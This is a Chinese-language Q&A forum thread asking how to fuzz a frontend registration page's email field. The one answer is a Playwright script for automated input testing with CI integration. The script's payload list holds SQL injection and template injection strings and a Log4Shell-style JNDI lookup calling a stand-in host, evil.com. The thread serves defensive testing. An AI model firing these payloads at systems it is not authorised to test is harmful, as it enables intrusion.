前端项目里怎么用Fuzzing测试输入框的安全性? 皇甫胜楠 提问于 2026-03-17 00:48:18 阅读 51 安全 我最近在学安全开发生命周期,看到Fuzzing能用来测输入漏洞,但不太清楚前端怎么实际用。比如一个用户注册页面的邮箱输入框,我想自动喂各种奇怪字符串看会不会出问题,该怎么做? 试过手动复制一些payload到里,但效率太低。有没有适合前端项目的轻量级Fuzzing工具或方法?最好能集成到CI流程里。 Fuzzing 我来解答 赞 16 收藏 分享 生成中... 手机扫码查看 复制链接 生成海报 反馈 发表解答 您需要先 登录/注册 才能发表解答 1 条解答 爱学习的庆庆 Lv1 前端输入框Fuzzing最直接的做法:用Playwright写个脚本,遍历payload列表自动填入并抓控制台错误。 const { chromium } = require('playwright'); const payloads = [ "' OR '1'='1", "", "{{7*7}}", "${jndi:ldap://evil.com/a}", // ... 上千个payload ]; (async () => { const browser = await chromium.launch(); const page = await browser.newPage(); const errors = []; page.on('console', msg => { if (msg.type() === 'error') errors.push(msg.text()); }); for (const payload of payloads) { await page.goto('http://your-app/register'); await page.fill('input[name="email"]', payload); await page.click('button[type="submit"]'); await page.waitForTimeout(500); } console.log('Found errors:', errors); await browser.close(); })(); payloads列表可以用fuzzdb或PayloadsAllTheThings这些现成的。CI里就加个 node fuzz-test.js 跑一遍,有错误就exit 1。 如果想测XSS效果更准,可以配合DOMPurify看输出有没有被正确过滤,或者直接看后端返回的响应有没有把payload原样返回。 回复 点赞 2026-03-17 14:01 加载更多 相关推荐
payloads列表可以用fuzzdb或PayloadsAllTheThings这些现成的。CI里就加个
node fuzz-test.js跑一遍,有错误就exit 1。如果想测XSS效果更准,可以配合DOMPurify看输出有没有被正确过滤,或者直接看后端返回的响应有没有把payload原样返回。